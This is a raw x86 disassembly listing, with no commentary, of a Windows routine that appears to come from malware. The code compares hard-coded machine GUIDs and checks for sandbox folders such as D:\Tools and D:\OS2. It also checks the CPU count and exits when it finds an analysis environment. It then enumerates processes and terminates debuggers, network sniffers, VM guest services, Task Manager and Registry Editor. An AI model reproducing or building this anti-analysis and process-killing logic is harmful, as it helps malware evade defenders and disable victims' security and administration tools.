mov dword [ebp - 0xab8], 0
push str.07E42E42_F43D_3E1C_1C6B_9C7AC120F3B9
movups xmmword [ebp - 0xac8], xmm0
mov dword [ebp - 0xab4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0xab0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xaa0], 0
push str.88DC3342_12E6_7D62_B0AE_C80E578E7B07
movups xmmword [ebp - 0xab0], xmm0
mov dword [ebp - 0xa9c], 0
call fcn.004511e0
xorps xmm0, xmm0
mov byte [ebp - 4], 0x68
movups xmmword [ebp - 0xa98], xmm0
push 0x24
push str.5E3E7FE0_2636_4CB7_84F5_8D2650FFEC0E
lea ecx, [ebp - 0xa98]
mov dword [ebp - 0xa88], 0
mov dword [ebp - 0xa84], 0
call fcn.004511e0
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0xa80]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xa70], 0
push str.96BB3342_6335_0FA8_BA29_E1BA5D8FEFBE
movups xmmword [ebp - 0xa80], xmm0
mov dword [ebp - 0xa6c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0xa68]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xa58], 0
push str.0934E336_72E4_4E6A_B3E5_383BD8E938C3
movups xmmword [ebp - 0xa68], xmm0
mov dword [ebp - 0xa54], 0
call fcn.004511e0
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0xa50]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xa40], 0
push str.12EE3342_87A2_32DE_A390_4C2DA4D512E9
movups xmmword [ebp - 0xa50], xmm0
mov dword [ebp - 0xa3c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0xa38]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xa28], 0
push str.38813342_D7D0_DFC8_C56F_7FC9DFE5C972
movups xmmword [ebp - 0xa38], xmm0
mov dword [ebp - 0xa24], 0
call fcn.004511e0
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0xa20]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xa10], 0
push str.8DA62042_8B59_B4E3_D232_38B29A10964A
movups xmmword [ebp - 0xa20], xmm0
mov dword [ebp - 0xa0c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0xa08]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x9f8], 0
push str.3A9F3342_D1F2_DF37_68AE_C10F60BFB462
movups xmmword [ebp - 0xa08], xmm0
mov dword [ebp - 0x9f4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x9f0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x9e0], 0
push str.F5744000_3C78_11EA_8000_3CECEF43FEFE
movups xmmword [ebp - 0x9f0], xmm0
mov dword [ebp - 0x9dc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x70
xorps xmm0, xmm0
movups xmmword [ebp - 0x9d8], xmm0
mov dword [ebp - 0x9c8], 0
push 0x24
push str.FA8C2042_205D_13B0_FCB5_C5CC55577A35
lea ecx, [ebp - 0x9d8]
mov dword [ebp - 0x9c4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x9c0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x9b0], 0
push str.C6B32042_4EC3_6FDF_C725_6F63914DA7C7
movups xmmword [ebp - 0x9c0], xmm0
mov dword [ebp - 0x9ac], 0
call fcn.004511e0
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x9a8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x998], 0
push str.FCE23342_91F1_EAFC_BA97_5AAE4509E173
movups xmmword [ebp - 0x9a8], xmm0
mov dword [ebp - 0x994], 0
call fcn.004511e0
mov byte [ebp - 4], 0x73
lea ecx, [ebp - 0x990]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x980], 0
push str.CF1BE00F_4AAF_455E_8DCD_B5B09B6BFA8F
movups xmmword [ebp - 0x990], xmm0
mov dword [ebp - 0x97c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x978]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x968], 0
push str.050C3342_FADD_AEDF_EF24_C6454E1A73C9
movups xmmword [ebp - 0x978], xmm0
mov dword [ebp - 0x964], 0
call fcn.004511e0
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x960]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x950], 0
push str.4DC32042_E601_F329_21C1_03F27564FD6C
movups xmmword [ebp - 0x960], xmm0
mov dword [ebp - 0x94c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x948]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x938], 0
push str.DEAEB8CE_A573_9F48_BD40_62ED6C223F20
movups xmmword [ebp - 0x948], xmm0
mov dword [ebp - 0x934], 0
call fcn.004511e0
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x930]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x920], 0
push str.05790C00_3B21_11EA_8000_3CECEF4400D0
movups xmmword [ebp - 0x930], xmm0
mov dword [ebp - 0x91c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x78
xorps xmm0, xmm0
movups xmmword [ebp - 0x918], xmm0
mov dword [ebp - 0x908], 0
mov dword [ebp - 0x904], 0
push 0x24
push str.5EBD2E42_1DB8_78A6_0EC3_031B661D5C57
lea ecx, [ebp - 0x918]
call fcn.004511e0
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x900]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x8f0], 0
push str.9C6D1742_046D_BC94_ED09_C36F70CC9A91
movups xmmword [ebp - 0x900], xmm0
mov dword [ebp - 0x8ec], 0
call fcn.004511e0
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0x8e8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x8d8], 0
push str.907A2A79_7116_4CB6_9FA5_E5A58C4587CD
movups xmmword [ebp - 0x8e8], xmm0
mov dword [ebp - 0x8d4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0x8d0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x8c0], 0
push str.A9C83342_4800_0578_1EE8_BA26D2A678D2
movups xmmword [ebp - 0x8d0], xmm0
mov dword [ebp - 0x8bc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0x8b8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x8a8], 0
push str.D7382042_00A0_A6F0_1E51_FD1BBF06CD71
movups xmmword [ebp - 0x8b8], xmm0
mov dword [ebp - 0x8a4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x8a0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x890], 0
push str.1D4D3342_D6C4_710C_98A3_9CC6571234D5
movups xmmword [ebp - 0x8a0], xmm0
mov dword [ebp - 0x88c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x888]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x878], 0
push str.CE352E42_9339_8484_293A_BD50CDC639A5
movups xmmword [ebp - 0x888], xmm0
mov dword [ebp - 0x874], 0
call fcn.004511e0
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0x870]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x860], 0
push str.60C83342_0A97_928D_7316_5F1080A78E72
movups xmmword [ebp - 0x870], xmm0
mov dword [ebp - 0x85c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x80
xorps xmm0, xmm0
movups xmmword [ebp - 0x858], xmm0
mov dword [ebp - 0x848], 0
mov dword [ebp - 0x844], 0
push 0x24
push str.02AD9898_FA37_11EB_AC55_1D0C0A67EA8A
lea ecx, [ebp - 0x858]
call fcn.004511e0
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x840]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x830], 0
push str.DBCC3514_FA57_477D_9D1F_1CAF4CC92D0F
movups xmmword [ebp - 0x840], xmm0
mov dword [ebp - 0x82c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x828]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x818], 0
push str.FED63342_E0D6_C669_D53F_253D696D74DA
movups xmmword [ebp - 0x828], xmm0
mov dword [ebp - 0x814], 0
call fcn.004511e0
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0x810]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x800], 0
push str.2DD1B176_C043_49A4_830F_C623FFB88F3C
movups xmmword [ebp - 0x810], xmm0
mov dword [ebp - 0x7fc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x7f8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x7e8], 0
push str.4729AEB0_FC07_11E3_9673_CE39E79C8A00
movups xmmword [ebp - 0x7f8], xmm0
mov dword [ebp - 0x7e4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x7e0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x7d0], 0
push str.84FE3342_6C67_5FC6_5639_9B3CA3D775A1
movups xmmword [ebp - 0x7e0], xmm0
mov dword [ebp - 0x7cc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x7c8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x7b8], 0
push str.DBC22E42_59F7_1329_D9F2_E78A2EE5BD0D
movups xmmword [ebp - 0x7c8], xmm0
mov dword [ebp - 0x7b4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x87
lea ecx, [ebp - 0x7b0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x7a0], 0
push str.CEFC836C_8CB1_45A6_ADD7_209085EE2A57
movups xmmword [ebp - 0x7b0], xmm0
mov dword [ebp - 0x79c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x88
xorps xmm0, xmm0
push 0x24
movups xmmword [ebp - 0x798], xmm0
mov dword [ebp - 0x788], 0
mov dword [ebp - 0x784], 0
push str.A7721742_BE24_8A1C_B859_D7F8251A83D3
lea ecx, [ebp - 0x798]
call fcn.004511e0
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0x780]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x770], 0
push str.3F3C58D1_B4F2_4019_B2A2_2A500E96AF2E
movups xmmword [ebp - 0x780], xmm0
mov dword [ebp - 0x76c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x768]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x758], 0
push str.D2DC3342_396C_6737_A8F6_0C6673C1DE08
movups xmmword [ebp - 0x768], xmm0
mov dword [ebp - 0x754], 0
call fcn.004511e0
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0x750]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x740], 0
push str.EADD1742_4807_00A0_F92E_CCD933E9D8C1
movups xmmword [ebp - 0x750], xmm0
mov dword [ebp - 0x73c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x738]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x728], 0
push str.AF1B2042_4B90_0000_A4E4_632A1C8C7EB1
movups xmmword [ebp - 0x738], xmm0
mov dword [ebp - 0x724], 0
call fcn.004511e0
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x720]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x710], 0
push str.FE455D1A_BE27_4BA4_96C8_967A6D3A9661
movups xmmword [ebp - 0x720], xmm0
mov dword [ebp - 0x70c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x708]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x6f8], 0
push str.921E2042_70D3_F9F1_8CBD_B398A21F89C6
movups xmmword [ebp - 0x708], xmm0
mov dword [ebp - 0x6f4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x6f0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x6e0], 0
push str.8E291742_7427_5849_75B0_01B5943CEFAD
movups xmmword [ebp - 0x6f0], xmm0
mov dword [ebp - 0x6dc], 0
call fcn.004511e0
lea ecx, [ebp - 0x1020]
mov byte [ebp - 4], 0x90
push ecx
lea eax, [ebp - 0x6d8]
push eax
push ecx
lea ecx, [ebp - 0x154]
call fcn.004512d0
push fcn.00451090
push 0x63
push 0x18
lea eax, [ebp - 0x1020]
mov byte [ebp - 4], 0x92
push eax
call fcn.006db290
xorps xmm0, xmm0
mov dword [ebp - 0x140], 0
push 0x12
push str.httpdebuggerui.exe
lea ecx, [ebp - 0x690]
movq qword [ebp - 0x148], xmm0
movups xmmword [ebp - 0x690], xmm0
mov dword [ebp - 0x680], 0
mov dword [ebp - 0x67c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x678]
push 0xd
xorps xmm0, xmm0
mov dword [ebp - 0x668], 0
push str.wireshark.exe
movups xmmword [ebp - 0x678], xmm0
mov dword [ebp - 0x664], 0
call fcn.004511e0
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x660]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x650], 0
push str.fiddler.exe
movups xmmword [ebp - 0x660], xmm0
mov dword [ebp - 0x64c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x95
lea ecx, [ebp - 0x648]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x638], 0
push str.regedit.exe
movups xmmword [ebp - 0x648], xmm0
mov dword [ebp - 0x634], 0
call fcn.004511e0
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x630]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x620], 0
push str.taskmgr.exe
movups xmmword [ebp - 0x630], xmm0
mov dword [ebp - 0x61c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x618]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x608], 0
push str.vboxservice.exe
movups xmmword [ebp - 0x618], xmm0
mov dword [ebp - 0x604], 0
call fcn.004511e0
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x600]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x5f0], 0
push str.cmd.exe
movups xmmword [ebp - 0x600], xmm0
mov dword [ebp - 0x5ec], 0
call fcn.004511e0
mov byte [ebp - 4], 0x99
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x5d8], 0
push str.df5serv.exe
lea ecx, [ebp - 0x5e8]
mov dword [ebp - 0x5d4], 0
movups xmmword [ebp - 0x5e8], xmm0
call fcn.004511e0
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x5d0]
push 0x11
xorps xmm0, xmm0
mov dword [ebp - 0x5c0], 0
push str.processhacker.exe
movups xmmword [ebp - 0x5d0], xmm0
mov dword [ebp - 0x5bc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x5b8]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x5a8], 0
push str.vboxtray.exe
movups xmmword [ebp - 0x5b8], xmm0
mov dword [ebp - 0x5a4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x5a0]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x590], 0
push str.vmtoolsd.exe
movups xmmword [ebp - 0x5a0], xmm0
mov dword [ebp - 0x58c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x588]
push 0xe
xorps xmm0, xmm0
mov dword [ebp - 0x578], 0
push str.vmwaretray.exe
movups xmmword [ebp - 0x588], xmm0
mov dword [ebp - 0x574], 0
call fcn.004511e0
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x570]
push 9
xorps xmm0, xmm0
mov dword [ebp - 0x560], 0
push str.ida64.exe
movups xmmword [ebp - 0x570], xmm0
mov dword [ebp - 0x55c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x558]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x548], 0
push str.ollydbg.exe
movups xmmword [ebp - 0x558], xmm0
mov dword [ebp - 0x544], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x540]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x530], 0
push str.pestudio.exe
movups xmmword [ebp - 0x540], xmm0
mov dword [ebp - 0x52c], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa1
xorps xmm0, xmm0
push 0xe
push str.vmwareuser.exe
lea ecx, [ebp - 0x528]
mov dword [ebp - 0x518], 0
movups xmmword [ebp - 0x528], xmm0
mov dword [ebp - 0x514], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x510]
push 0x11
xorps xmm0, xmm0
mov dword [ebp - 0x500], 0
push str.vgauthservice.exe
movups xmmword [ebp - 0x510], xmm0
mov dword [ebp - 0x4fc], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0x4f8]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x4e8], 0
push str.vmacthlp.exe
movups xmmword [ebp - 0x4f8], xmm0
mov dword [ebp - 0x4e4], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa4
lea ecx, [ebp - 0x4e0]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x4d0], 0
push str.x96dbg.exe
movups xmmword [ebp - 0x4e0], xmm0
mov dword [ebp - 0x4cc], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa5
lea ecx, [ebp - 0x4c8]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x4b8], 0
push str.vmsrvc.exe
movups xmmword [ebp - 0x4c8], xmm0
mov dword [ebp - 0x4b4], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0x4b0]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x4a0], 0
push str.x32dbg.exe
movups xmmword [ebp - 0x4b0], xmm0
mov dword [ebp - 0x49c], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa7
lea ecx, [ebp - 0x498]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x488], 0
push str.vmusrvc.exe
movups xmmword [ebp - 0x498], xmm0
mov dword [ebp - 0x484], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0x480]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x470], 0
push str.prl_cc.exe
movups xmmword [ebp - 0x480], xmm0
mov dword [ebp - 0x46c], 0
call fcn.004511e0
xorps xmm0, xmm0
mov byte [ebp - 4], 0xa9
movups xmmword [ebp - 0x468], xmm0
push 0xd
push str.prl_tools.exe
lea ecx, [ebp - 0x468]
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0
call fcn.004511e0
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x450]
push 0xe
xorps xmm0, xmm0
mov dword [ebp - 0x440], 0
push str.xenservice.exe
movups xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x43c], 0
call fcn.004511e0
mov byte [ebp - 4], 0xab
lea ecx, [ebp - 0x438]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x428], 0
push str.qemu_ga.exe
movups xmmword [ebp - 0x438], xmm0
mov dword [ebp - 0x424], 0
call fcn.004511e0
mov byte [ebp - 4], 0xac
lea ecx, [ebp - 0x420]
push 0x11
xorps xmm0, xmm0
mov dword [ebp - 0x410], 0
push str.joeboxcontrol.exe
movups xmmword [ebp - 0x420], xmm0
mov dword [ebp - 0x40c], 0
call fcn.004511e0
push str.ksdumperclient.exe
lea ecx, [ebp - 0x408]
mov byte [ebp - 4], 0xad
call fcn.004511a0
mov byte [ebp - 4], 0xae
lea ecx, [ebp - 0x3f0]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x3e0], 0
push str.ksdumper.exe
movups xmmword [ebp - 0x3f0], xmm0
mov dword [ebp - 0x3dc], 0
call fcn.004511e0
mov byte [ebp - 4], 0xaf
lea ecx, [ebp - 0x3d8]
push 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x3c8], 0
push str.joeboxserver.exe
movups xmmword [ebp - 0x3d8], xmm0
mov dword [ebp - 0x3c4], 0
call fcn.004511e0
lea ecx, [ebp - 0x690]
mov byte [ebp - 4], 0xb0
push ecx
lea eax, [ebp - 0x3c0]
push eax
push ecx
lea ecx, [ebp - 0x148]
call fcn.004512d0
push fcn.00451090
push 0x1e
push 0x18
lea eax, [ebp - 0x690]
mov byte [ebp - 4], 0xb2
push eax
call fcn.006db290
mov edi, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x3bc], eax
cmp edi, eax
je 0x46329f
nop
push edi
lea ecx, [ebp - 0x130]
call fcn.004513e0
lea edx, [ebp - 0x114]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x463215
mov esi, dword [ebp - 0x130]
lea eax, [ebp - 0x114]
sub edx, ecx
cmp dword [ebp - 0x11c], 0xf
push edx
mov edx, dword [ebp - 0x120]
lea ecx, [ebp - 0x130]
cmova ecx, esi
seta byte [ebp - 0x3b5]
push eax
call fcn.0049c6c0
add esp, 8
test al, al
jne 0x463535
cmp byte [ebp - 0x3b5], al
je 0x463290
mov ecx, dword [ebp - 0x11c]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x463286
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x463773
push ecx
push esi
call fcn.006db5f6
add esp, 8
add edi, 0x18
cmp edi, dword [ebp - 0x3bc]
jne 0x463200
xorps xmm0, xmm0
mov dword [ebp - 0x134], 0
push 8
push str.D:Tools
lea ecx, [ebp - 0x6d8]
movq qword [ebp - 0x13c], xmm0
movups xmmword [ebp - 0x6d8], xmm0
mov dword [ebp - 0x6c8], 0
mov dword [ebp - 0x6c4], 0
call fcn.004511e0
mov byte [ebp - 4], 0xb3
lea ecx, [ebp - 0x6c0]
push 6
xorps xmm0, xmm0
mov dword [ebp - 0x6b0], 0
push str.D:OS2
movups xmmword [ebp - 0x6c0], xmm0
mov dword [ebp - 0x6ac], 0
call fcn.004511e0
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x6a8]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x698], 0
push str.D:NT3X
movups xmmword [ebp - 0x6a8], xmm0
mov dword [ebp - 0x694], 0
call fcn.004511e0
lea ecx, [ebp - 0x6d8]
mov byte [ebp - 4], 0xb5
push ecx
lea eax, [ebp - 0x690]
push eax
push ecx
lea ecx, [ebp - 0x13c]
call fcn.004512d0
push fcn.00451090
push 3
push 0x18
lea eax, [ebp - 0x6d8]
mov byte [ebp - 4], 0xb7
push eax
call fcn.006db290
mov esi, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x138]
cmp esi, edi
je 0x4633b5
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x46339a
mov eax, dword [esi]
push 0
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
add esp, 8
test eax, eax
je 0x463535
add esi, 0x18
cmp esi, edi
jne 0x463390
mov eax, dword [ebp - 0x15c]
mov edi, dword [ebp - 0x160]
mov dword [ebp - 0x3bc], eax
cmp edi, eax
je 0x46346e
nop
push edi
lea ecx, [ebp - 0x130]
call fcn.004513e0
mov edx, dword [ebp - 0x3c0]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4633e5
mov esi, dword [ebp - 0x130]
sub edx, ecx
cmp dword [ebp - 0x11c], 0xf
lea ecx, [ebp - 0x130]
push edx
push dword [ebp - 0x3c0]
mov edx, dword [ebp - 0x120]
cmova ecx, esi
seta byte [ebp - 0x3b5]
call fcn.0049c6c0
add esp, 8
test al, al
jne 0x463535
cmp byte [ebp - 0x3b5], al
je 0x46345f
mov ecx, dword [ebp - 0x11c]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x463455
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x463773
push ecx
push esi
call fcn.006db5f6
add esp, 8
add edi, 0x18
cmp edi, dword [ebp - 0x3bc]
jne 0x4633d0
mov eax, dword [ebp - 0x150]
mov edi, dword [ebp - 0x154]
mov dword [ebp - 0x3bc], eax
cmp edi, eax
je 0x46352c
nop dword [eax + eax]
push edi
lea ecx, [ebp - 0x130]
call fcn.004513e0
cmp dword [ebp - 0x174], 0xf
lea eax, [ebp - 0x188]
push dword [ebp - 0x178]
cmova eax, dword [ebp - 0x188]
lea ecx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0xf
mov esi, dword [ebp - 0x130]
mov edx, dword [ebp - 0x120]
cmova ecx, esi
push eax
seta byte [ebp - 0x3b5]
call fcn.0049c6c0
add esp, 8
test al, al
jne 0x463535
cmp byte [ebp - 0x3b5], al
je 0x46351d
mov ecx, dword [ebp - 0x11c]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x463513
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x463773
push ecx
push esi
call fcn.006db5f6
add esp, 8
add edi, 0x18
cmp edi, dword [ebp - 0x3bc]
jne 0x463490
cmp dword [ebp - 0x118], 2
jg 0x46353d
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push 2
mov dword [ebp - 0x3b4], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x3bc], esi
cmp esi, 0xffffffff
jne 0x4635ee
lea ecx, [ebp - 0x13c]
call fcn.00485200
lea ecx, [ebp - 0x148]
call fcn.00485200
lea ecx, [ebp - 0x154]
call fcn.00485200
lea ecx, [ebp - 0x160]
call fcn.00485200
lea ecx, [ebp - 0x16c]
call fcn.00485200
mov ecx, dword [ebp - 0x174]
cmp ecx, 0xf
jbe 0x4635d3
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4635c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x463773
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.006daf70
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x3b4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x463701
nop word [eax + eax]
xorps xmm0, xmm0
mov dword [ebp - 0x120], 0
lea eax, [ebp - 0x390]
mov dword [ebp - 0x11c], 0
movups xmmword [ebp - 0x130], xmm0
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x463637
sub eax, edx
lea ecx, [ebp - 0x130]
sar eax, 1
push eax
lea eax, [ebp - 0x390]
push eax
call fcn.0048f810
mov byte [ebp - 4], 0xb8
lea eax, [ebp - 0x130]
mov edi, dword [ebp - 0x144]
mov esi, dword [ebp - 0x148]
mov dword [ebp - 0x118], eax
cmp esi, edi
je 0x46369b
nop dword [eax]
push esi
lea ecx, [ebp - 0x118]
call fcn.004637b0
test al, al
jne 0x463779
add esi, 0x18
cmp esi, edi
jne 0x463680
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 0xb7
mov ecx, dword [ebp - 0x11c]
cmp ecx, 7
jbe 0x4636e5
mov edx, dword [ebp - 0x130]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4636db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x463773
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov esi, dword [ebp - 0x3bc]
lea eax, [ebp - 0x3b4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x463610
push esi
call edi
lea ecx, [ebp - 0x13c]
call fcn.00485200
lea ecx, [ebp - 0x148]
call fcn.00485200
lea ecx, [ebp - 0x154]
call fcn.00485200
lea ecx, [ebp - 0x160]
call fcn.00485200
lea ecx, [ebp - 0x16c]
call fcn.00485200
mov ecx, dword [ebp - 0x174]
cmp ecx, 0xf
jbe 0x4635d3
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4635c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4635c9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push dword [ebp - 0x3ac]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x46369b
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
